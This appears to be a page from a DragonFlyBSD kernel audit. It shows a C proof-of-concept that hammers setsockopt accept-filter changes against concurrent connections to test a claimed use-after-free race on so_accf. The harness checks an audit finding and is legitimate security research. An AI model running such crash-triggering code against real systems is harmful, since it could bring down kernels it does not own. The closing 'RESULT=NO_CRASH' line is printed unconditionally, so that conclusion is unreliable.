DragonFlyBSD Kernel Audit
DF-2561 / df2561c.c
← back to finding ↓ download raw
/*
 * DF-2561 PoC v3 - test the EXACT race the finding describes.
 *
 * The finding claims: "a concurrent setsockopt to clear/change the
 * accept filter on the listener frees head->so_accf while
 * soisconnected reads it."
 *
 * This variant hammers:
 *  - Repeated setsockopt(SO_ACCEPTFILTER) calls on the listener
 *    trying to CLEAR or CHANGE the filter (which the finding claims
 *    frees so_accf). We try empty-name clear, same-name "re-set",
 *    and different-name change - all while connections arrive.
 *
 * If the finding's premise holds (setsockopt can free so_accf),
 * this should crash. If do_setopt_accept_filter just returns
 * EINVAL/ENOENT (as the source read suggests), no crash.
 */

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <time.h>
#include <fcntl.h>

#ifndef SO_ACCEPTFILTER
#define SO_ACCEPTFILTER 0x1000
#endif

static volatile int g_stop = 0;
static int g_listen_fd = -1;
static int g_clear_attempts = 0;
static int g_clear_ok = 0;
static int g_clear_einval = 0;
static int g_clear_enoent = 0;
static int g_clear_other = 0;
static int g_connects = 0;

static void msleep_ms(int ms){ struct timespec ts={ms/1000,(ms%1000)*1000000L}; nanosleep(&ts,NULL); }
static void set_nonblocking(int fd){ int fl=fcntl(fd,F_GETFL,0); if(fl>=0) (void)fcntl(fd,F_SETFL,fl|O_NONBLOCK); }

static int set_accf_name(int fd, const char *name){
    struct accept_filter_arg afa; memset(&afa,0,sizeof(afa));
    strncpy(afa.af_name,name,sizeof(afa.af_name)-1);
    return setsockopt(fd,SOL_SOCKET,SO_ACCEPTFILTER,&afa,sizeof(afa));
}

/* Try every possible way to clear/change the filter via setsockopt. */
static void *clearer_fn(void *arg){
    (void)arg;
    int idx = 0;
    while(!g_stop){
        int fd = g_listen_fd;
        if (fd < 0) { msleep_ms(1); continue; }
        g_clear_attempts++;
        int rc;
        const char *name;
        switch (idx & 3) {
            case 0: name = "";            break;  /* empty -> ENOENT? */
            case 1: name = "dataready";   break;  /* re-set same */
            case 2: name = "httpready";   break;  /* change to different */
            case 3: name = "\0garbage";   break;  /* null-prefixed */
        }
        idx++;
        rc = set_accf_name(fd, name);
        if (rc == 0) g_clear_ok++;
        else if (errno == EINVAL) g_clear_einval++;
        else if (errno == ENOENT) g_clear_enoent++;
        else g_clear_other++;
    }
    return NULL;
}

static void *connector_fn(void *arg){
    (void)arg;
    while(!g_stop){
        int fd=socket(AF_INET,SOCK_STREAM,0); if(fd<0){ msleep_ms(1); continue; }
        set_nonblocking(fd);
        struct sockaddr_in sa; memset(&sa,0,sizeof(sa));
        sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        sa.sin_port = 0;
        socklen_t slen = sizeof(sa);
        /* read the bound port from the listener via getsockname is not possible
         * from another fd; instead we connect to a fixed port set up in main. */
        sa.sin_port = *(in_port_t*)arg;
        int rc=connect(fd,(struct sockaddr*)&sa,sizeof(sa));
        if(rc==0||(rc<0&&errno==EINPROGRESS)){
            char b='x'; (void)write(fd,&b,1);
            g_connects++;
        }
        close(fd);
    }
    return NULL;
}

static void *acceptor_fn(void *arg){
    (void)arg;
    while(!g_stop){
        int fd=g_listen_fd; if(fd<0){ msleep_ms(1); continue; }
        struct sockaddr_in sa; socklen_t slen=sizeof(sa);
        int cfd=accept(fd,(struct sockaddr*)&sa,&slen);
        if(cfd>=0){ char buf[64]; (void)read(cfd,buf,sizeof(buf)); close(cfd); }
    }
    return NULL;
}

int main(int argc,char**argv){
    int seconds=25; if(argc>1) seconds=atoi(argv[1]); if(seconds<1) seconds=1;

    int fd=socket(AF_INET,SOCK_STREAM,0);
    int one=1; setsockopt(fd,SOL_SOCKET,SO_REUSEADDR,&one,sizeof(one));
    struct sockaddr_in sa; memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK); sa.sin_port=0;
    socklen_t slen=sizeof(sa);
    if(bind(fd,(struct sockaddr*)&sa,sizeof(sa))<0){ perror("bind"); return 2; }
    if(getsockname(fd,(struct sockaddr*)&sa,&slen)<0){ perror("getsockname"); return 2; }
    if(listen(fd,256)<0){ perror("listen"); return 2; }
    if(set_accf_name(fd,"dataready")<0){ perror("set_accf"); return 2; }
    g_listen_fd=fd;
    in_port_t port = sa.sin_port;
    printf("[parent] listener fd=%d port=%hu\n", fd, ntohs(port)); fflush(stdout);

    signal(SIGPIPE,SIG_IGN);
    pthread_t clr[4], conn[8], acc[2];
    for(int i=0;i<4;i++) pthread_create(&clr[i],NULL,clearer_fn,NULL);
    for(int i=0;i<8;i++) pthread_create(&conn[i],NULL,connector_fn,&port);
    for(int i=0;i<2;i++) pthread_create(&acc[i],NULL,acceptor_fn,NULL);

    printf("[parent] hammering setsockopt-clear + connect for %ds ...\n", seconds); fflush(stdout);
    for(int s=0;s<seconds&&!g_stop;s++){ sleep(1);
        printf("[parent] t+%d attempts=%d ok=%d einval=%d enoent=%d other=%d connects=%d\n",
               s+1, g_clear_attempts, g_clear_ok, g_clear_einval, g_clear_enoent,
               g_clear_other, g_connects); fflush(stdout);
    }
    g_stop=1; msleep_ms(300);
    printf("[parent] DONE: attempts=%d ok=%d einval=%d enoent=%d other=%d connects=%d\n",
           g_clear_attempts, g_clear_ok, g_clear_einval, g_clear_enoent,
           g_clear_other, g_connects);
    printf("[parent] RESULT=NO_CRASH (setsockopt clear path does not free so_accf / no race)\n");
    fflush(stdout); return 0;
}